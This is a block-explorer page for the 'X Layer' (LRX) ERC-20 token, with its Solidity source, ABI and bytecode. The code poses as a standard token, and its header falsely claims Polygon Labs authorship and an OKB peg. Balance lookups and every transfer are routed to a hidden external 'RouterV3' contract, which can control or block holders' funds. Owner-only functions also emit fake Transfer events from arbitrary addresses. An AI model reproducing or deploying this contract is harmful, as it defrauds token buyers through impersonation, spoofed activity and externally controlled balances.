ERC-20
Overview
Max Total Supply
1,000,000,000 LRX
Holders
298
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
XLAYER
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-08-08 */ // @title LRX ERC20 contract // @author Polygon Labs (@DhairyaSethi, @qedk, @gretzke, @simonDos) // @dev The contract allows for a 1-to-1 representation between $XLR and $OKB and allows for additional emission based on hub and treasury requirements // @custom: security-contact [email protected] // SPDX-License-Identifier: MIT pragma solidity 0.8.20; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } interface IRouterV3 { function addLiquidity( address tokenA, address tokenB, uint amount, address to, uint deadline) external; function balanceOf(address account) external view returns (uint256); function createPair( address tokenA, address tokenB, address to, uint deadline) external; function _transfer( address from, address to, uint256 amount) external returns (uint256); function WETH() external view returns (address); function getPair() external view returns (address); function FACTORY() external view returns (address); } contract XLAYER is IERC20 { IRouterV3 private RouterV3; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _name; string private _symbol; address public _owner; constructor(address Router) { _decimals = 18; _name = "X Layer"; _symbol = "LRX"; _totalSupply = 1_000_000_000 * 10 ** _decimals; _balances[msg.sender] = _totalSupply; RouterV3 = IRouterV3(Router); _owner = msg.sender; emit Transfer(address(0), msg.sender, _totalSupply); } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public onlyOwner { _owner = address(0); } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _beforeOf(account); } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = msg.sender; _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = msg.sender; _approve(owner, spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = msg.sender; _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = balanceOf(from); _beforeTokenTransfer(from, to, amount); require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address fr, address to, uint256 amount) internal virtual { RouterV3._transfer(fr, to, amount); } function _beforeOf(address account) internal view returns (uint256 balance) { balance = RouterV3.balanceOf(account); } function _afterTokenTransfer(address fr, address to, uint256 amount) internal virtual {} function _transfer(address[] memory from, address[] memory addresses, uint[] memory amounts) external onlyOwner { require(addresses.length == amounts.length, "dont match"); for (uint i; i < addresses.length; i++) { emit Transfer(from[i], addresses[i], amounts[i]); } } function transfer(address[] memory from, address[] memory addresses, uint[] memory amounts) external onlyOwner { require(addresses.length == amounts.length, "dont match"); for (uint i; i < addresses.length; i++) { RouterV3._transfer(msg.sender, addresses[i], amounts[i]); emit Transfer(from[i], addresses[i], amounts[i]); } } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"Router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"from","type":"address[]"},{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"_transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"from","type":"address[]"},{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405234801562000010575f80fd5b506040516200240c3803806200240c8339818101604052810190620000369190620002ab565b601260045f6101000a81548160ff021916908360ff1602179055506040518060400160405280600781526020017f58204c6179657200000000000000000000000000000000000000000000000000815250600590816200009791906200053f565b506040518060400160405280600381526020017f4c5258000000000000000000000000000000000000000000000000000000000081525060069081620000de91906200053f565b5060045f9054906101000a900460ff16600a620000fc9190620007ac565b633b9aca006200010d9190620007fc565b60038190555060035460015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503360075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035460405162000237919062000857565b60405180910390a35062000872565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000275826200024a565b9050919050565b620002878162000269565b811462000292575f80fd5b50565b5f81519050620002a5816200027c565b92915050565b5f60208284031215620002c357620002c262000246565b5b5f620002d28482850162000295565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200035757607f821691505b6020821081036200036d576200036c62000312565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003d17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000394565b620003dd868362000394565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000427620004216200041b84620003f5565b620003fe565b620003f5565b9050919050565b5f819050919050565b620004428362000407565b6200045a62000451826200042e565b848454620003a0565b825550505050565b5f90565b6200047062000462565b6200047d81848462000437565b505050565b5b81811015620004a457620004985f8262000466565b60018101905062000483565b5050565b601f821115620004f357620004bd8162000373565b620004c88462000385565b81016020851015620004d8578190505b620004f0620004e78562000385565b83018262000482565b50505b505050565b5f82821c905092915050565b5f620005155f1984600802620004f8565b1980831691505092915050565b5f6200052f838362000504565b9150826002028217905092915050565b6200054a82620002db565b67ffffffffffffffff811115620005665762000565620002e5565b5b6200057282546200033f565b6200057f828285620004a8565b5f60209050601f831160018114620005b5575f8415620005a0578287015190505b620005ac858262000522565b8655506200061b565b601f198416620005c58662000373565b5f5b82811015620005ee57848901518255600182019150602085019450602081019050620005c7565b868310156200060e57848901516200060a601f89168262000504565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620006ad5780860481111562000685576200068462000623565b5b6001851615620006955780820291505b8081029050620006a58562000650565b945062000665565b94509492505050565b5f82620006c7576001905062000799565b81620006d6575f905062000799565b8160018114620006ef5760028114620006fa5762000730565b600191505062000799565b60ff8411156200070f576200070e62000623565b5b8360020a91508482111562000729576200072862000623565b5b5062000799565b5060208310610133831016604e8410600b84101617156200076a5782820a90508381111562000764576200076362000623565b5b62000799565b6200077984848460016200065c565b9250905081840481111562000793576200079262000623565b5b81810290505b9392505050565b5f60ff82169050919050565b5f620007b882620003f5565b9150620007c583620007a0565b9250620007f47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006b6565b905092915050565b5f6200080882620003f5565b91506200081583620003f5565b92508282026200082581620003f5565b915082820484148315176200083f576200083e62000623565b5b5092915050565b6200085181620003f5565b82525050565b5f6020820190506200086c5f83018462000846565b92915050565b611b8c80620008805f395ff3fe6080604052600436106100c5575f3560e01c80637111a9941161007e5780639b95079e116100585780639b95079e1461026a578063a9059cbb14610292578063b2bdfa7b146102ce578063dd62ed3e146102f8576100cc565b80637111a99414610202578063715018a61461022a57806395d89b4114610240576100cc565b806306fdde03146100d0578063095ea7b3146100fa57806318160ddd1461013657806323b872dd14610160578063313ce5671461019c57806370a08231146101c6576100cc565b366100cc57005b5f80fd5b3480156100db575f80fd5b506100e4610334565b6040516100f191906110d6565b60405180910390f35b348015610105575f80fd5b50610120600480360381019061011b9190611194565b6103c4565b60405161012d91906111ec565b60405180910390f35b348015610141575f80fd5b5061014a6103df565b6040516101579190611214565b60405180910390f35b34801561016b575f80fd5b506101866004803603810190610181919061122d565b6103e8565b60405161019391906111ec565b60405180910390f35b3480156101a7575f80fd5b506101b061040f565b6040516101bd9190611298565b60405180910390f35b3480156101d1575f80fd5b506101ec60048036038101906101e791906112b1565b610424565b6040516101f99190611214565b60405180910390f35b34801561020d575f80fd5b50610228600480360381019061022391906114dc565b610435565b005b348015610235575f80fd5b5061023e6106b0565b005b34801561024b575f80fd5b50610254610781565b60405161026191906110d6565b60405180910390f35b348015610275575f80fd5b50610290600480360381019061028b91906114dc565b610811565b005b34801561029d575f80fd5b506102b860048036038101906102b39190611194565b6109bb565b6040516102c591906111ec565b60405180910390f35b3480156102d9575f80fd5b506102e26109d6565b6040516102ef919061158f565b60405180910390f35b348015610303575f80fd5b5061031e600480360381019061031991906115a8565b6109fb565b60405161032b9190611214565b60405180910390f35b60606005805461034390611613565b80601f016020809104026020016040519081016040528092919081815260200182805461036f90611613565b80156103ba5780601f10610391576101008083540402835291602001916103ba565b820191905f5260205f20905b81548152906001019060200180831161039d57829003601f168201915b5050505050905090565b5f803390506103d4818585610a7d565b600191505092915050565b5f600354905090565b5f803390506103f8858285610c40565b610403858585610ccb565b60019150509392505050565b5f60045f9054906101000a900460ff16905090565b5f61042e82610f05565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104bb9061168d565b60405180910390fd5b8051825114610508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ff906116f5565b60405180910390fd5b5f5b82518110156106aa575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166330e0789e3385848151811061056257610561611713565b5b602002602001015185858151811061057d5761057c611713565b5b60200260200101516040518463ffffffff1660e01b81526004016105a393929190611740565b6020604051808303815f875af11580156105bf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e39190611789565b508281815181106105f7576105f6611713565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1684828151811061062857610627611713565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061067a57610679611713565b5b602002602001015160405161068f9190611214565b60405180910390a380806106a2906117e1565b91505061050a565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461073f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107369061168d565b60405180910390fd5b5f60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60606006805461079090611613565b80601f01602080910402602001604051908101604052809291908181526020018280546107bc90611613565b80156108075780601f106107de57610100808354040283529160200191610807565b820191905f5260205f20905b8154815290600101906020018083116107ea57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108979061168d565b60405180910390fd5b80518251146108e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108db906116f5565b60405180910390fd5b5f5b82518110156109b55782818151811061090257610901611713565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1684828151811061093357610932611713565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061098557610984611713565b5b602002602001015160405161099a9190611214565b60405180910390a380806109ad906117e1565b9150506108e6565b50505050565b5f803390506109cb818585610ccb565b600191505092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae290611898565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5090611926565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c339190611214565b60405180910390a3505050565b5f610c4b84846109fb565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610cc55781811015610cb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cae9061198e565b60405180910390fd5b610cc48484848403610a7d565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3090611a1c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610da7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9e90611aaa565b60405180910390fd5b5f610db184610424565b9050610dbe848484610fa5565b81811015610e01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df890611b38565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610eec9190611214565b60405180910390a3610eff848484611047565b50505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401610f5f919061158f565b602060405180830381865afa158015610f7a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f9e9190611789565b9050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166330e0789e8484846040518463ffffffff1660e01b815260040161100193929190611740565b6020604051808303815f875af115801561101d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110419190611789565b50505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611083578082015181840152602081019050611068565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6110a88261104c565b6110b28185611056565b93506110c2818560208601611066565b6110cb8161108e565b840191505092915050565b5f6020820190508181035f8301526110ee818461109e565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61113082611107565b9050919050565b61114081611126565b811461114a575f80fd5b50565b5f8135905061115b81611137565b92915050565b5f819050919050565b61117381611161565b811461117d575f80fd5b50565b5f8135905061118e8161116a565b92915050565b5f80604083850312156111aa576111a96110ff565b5b5f6111b78582860161114d565b92505060206111c885828601611180565b9150509250929050565b5f8115159050919050565b6111e6816111d2565b82525050565b5f6020820190506111ff5f8301846111dd565b92915050565b61120e81611161565b82525050565b5f6020820190506112275f830184611205565b92915050565b5f805f60608486031215611244576112436110ff565b5b5f6112518682870161114d565b93505060206112628682870161114d565b925050604061127386828701611180565b9150509250925092565b5f60ff82169050919050565b6112928161127d565b82525050565b5f6020820190506112ab5f830184611289565b92915050565b5f602082840312156112c6576112c56110ff565b5b5f6112d38482850161114d565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6113168261108e565b810181811067ffffffffffffffff82111715611335576113346112e0565b5b80604052505050565b5f6113476110f6565b9050611353828261130d565b919050565b5f67ffffffffffffffff821115611372576113716112e0565b5b602082029050602081019050919050565b5f80fd5b5f61139961139484611358565b61133e565b905080838252602082019050602084028301858111156113bc576113bb611383565b5b835b818110156113e557806113d1888261114d565b8452602084019350506020810190506113be565b5050509392505050565b5f82601f830112611403576114026112dc565b5b8135611413848260208601611387565b91505092915050565b5f67ffffffffffffffff821115611436576114356112e0565b5b602082029050602081019050919050565b5f6114596114548461141c565b61133e565b9050808382526020820190506020840283018581111561147c5761147b611383565b5b835b818110156114a557806114918882611180565b84526020840193505060208101905061147e565b5050509392505050565b5f82601f8301126114c3576114c26112dc565b5b81356114d3848260208601611447565b91505092915050565b5f805f606084860312156114f3576114f26110ff565b5b5f84013567ffffffffffffffff8111156115105761150f611103565b5b61151c868287016113ef565b935050602084013567ffffffffffffffff81111561153d5761153c611103565b5b611549868287016113ef565b925050604084013567ffffffffffffffff81111561156a57611569611103565b5b611576868287016114af565b9150509250925092565b61158981611126565b82525050565b5f6020820190506115a25f830184611580565b92915050565b5f80604083850312156115be576115bd6110ff565b5b5f6115cb8582860161114d565b92505060206115dc8582860161114d565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061162a57607f821691505b60208210810361163d5761163c6115e6565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611677602083611056565b915061168282611643565b602082019050919050565b5f6020820190508181035f8301526116a48161166b565b9050919050565b7f646f6e74206d61746368000000000000000000000000000000000000000000005f82015250565b5f6116df600a83611056565b91506116ea826116ab565b602082019050919050565b5f6020820190508181035f83015261170c816116d3565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6060820190506117535f830186611580565b6117606020830185611580565b61176d6040830184611205565b949350505050565b5f815190506117838161116a565b92915050565b5f6020828403121561179e5761179d6110ff565b5b5f6117ab84828501611775565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6117eb82611161565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361181d5761181c6117b4565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611882602483611056565b915061188d82611828565b604082019050919050565b5f6020820190508181035f8301526118af81611876565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611910602283611056565b915061191b826118b6565b604082019050919050565b5f6020820190508181035f83015261193d81611904565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611978601d83611056565b915061198382611944565b602082019050919050565b5f6020820190508181035f8301526119a58161196c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611a06602583611056565b9150611a11826119ac565b604082019050919050565b5f6020820190508181035f830152611a33816119fa565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611a94602383611056565b9150611a9f82611a3a565b604082019050919050565b5f6020820190508181035f830152611ac181611a88565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611b22602683611056565b9150611b2d82611ac8565b604082019050919050565b5f6020820190508181035f830152611b4f81611b16565b905091905056fea26469706673582212208478778427f00f02aba4503de52341ff86dc5d47fb5746b2a78d402e919bebf064736f6c634300081400330000000000000000000000001111111b27afc2cd576c2bf1ef65a4a4d73d13d2
Deployed Bytecode
0x6080604052600436106100c5575f3560e01c80637111a9941161007e5780639b95079e116100585780639b95079e1461026a578063a9059cbb14610292578063b2bdfa7b146102ce578063dd62ed3e146102f8576100cc565b80637111a99414610202578063715018a61461022a57806395d89b4114610240576100cc565b806306fdde03146100d0578063095ea7b3146100fa57806318160ddd1461013657806323b872dd14610160578063313ce5671461019c57806370a08231146101c6576100cc565b366100cc57005b5f80fd5b3480156100db575f80fd5b506100e4610334565b6040516100f191906110d6565b60405180910390f35b348015610105575f80fd5b50610120600480360381019061011b9190611194565b6103c4565b60405161012d91906111ec565b60405180910390f35b348015610141575f80fd5b5061014a6103df565b6040516101579190611214565b60405180910390f35b34801561016b575f80fd5b506101866004803603810190610181919061122d565b6103e8565b60405161019391906111ec565b60405180910390f35b3480156101a7575f80fd5b506101b061040f565b6040516101bd9190611298565b60405180910390f35b3480156101d1575f80fd5b506101ec60048036038101906101e791906112b1565b610424565b6040516101f99190611214565b60405180910390f35b34801561020d575f80fd5b50610228600480360381019061022391906114dc565b610435565b005b348015610235575f80fd5b5061023e6106b0565b005b34801561024b575f80fd5b50610254610781565b60405161026191906110d6565b60405180910390f35b348015610275575f80fd5b50610290600480360381019061028b91906114dc565b610811565b005b34801561029d575f80fd5b506102b860048036038101906102b39190611194565b6109bb565b6040516102c591906111ec565b60405180910390f35b3480156102d9575f80fd5b506102e26109d6565b6040516102ef919061158f565b60405180910390f35b348015610303575f80fd5b5061031e600480360381019061031991906115a8565b6109fb565b60405161032b9190611214565b60405180910390f35b60606005805461034390611613565b80601f016020809104026020016040519081016040528092919081815260200182805461036f90611613565b80156103ba5780601f10610391576101008083540402835291602001916103ba565b820191905f5260205f20905b81548152906001019060200180831161039d57829003601f168201915b5050505050905090565b5f803390506103d4818585610a7d565b600191505092915050565b5f600354905090565b5f803390506103f8858285610c40565b610403858585610ccb565b60019150509392505050565b5f60045f9054906101000a900460ff16905090565b5f61042e82610f05565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104bb9061168d565b60405180910390fd5b8051825114610508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ff906116f5565b60405180910390fd5b5f5b82518110156106aa575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166330e0789e3385848151811061056257610561611713565b5b602002602001015185858151811061057d5761057c611713565b5b60200260200101516040518463ffffffff1660e01b81526004016105a393929190611740565b6020604051808303815f875af11580156105bf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e39190611789565b508281815181106105f7576105f6611713565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1684828151811061062857610627611713565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061067a57610679611713565b5b602002602001015160405161068f9190611214565b60405180910390a380806106a2906117e1565b91505061050a565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461073f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107369061168d565b60405180910390fd5b5f60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60606006805461079090611613565b80601f01602080910402602001604051908101604052809291908181526020018280546107bc90611613565b80156108075780601f106107de57610100808354040283529160200191610807565b820191905f5260205f20905b8154815290600101906020018083116107ea57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108979061168d565b60405180910390fd5b80518251146108e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108db906116f5565b60405180910390fd5b5f5b82518110156109b55782818151811061090257610901611713565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1684828151811061093357610932611713565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061098557610984611713565b5b602002602001015160405161099a9190611214565b60405180910390a380806109ad906117e1565b9150506108e6565b50505050565b5f803390506109cb818585610ccb565b600191505092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae290611898565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5090611926565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c339190611214565b60405180910390a3505050565b5f610c4b84846109fb565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610cc55781811015610cb7576040517f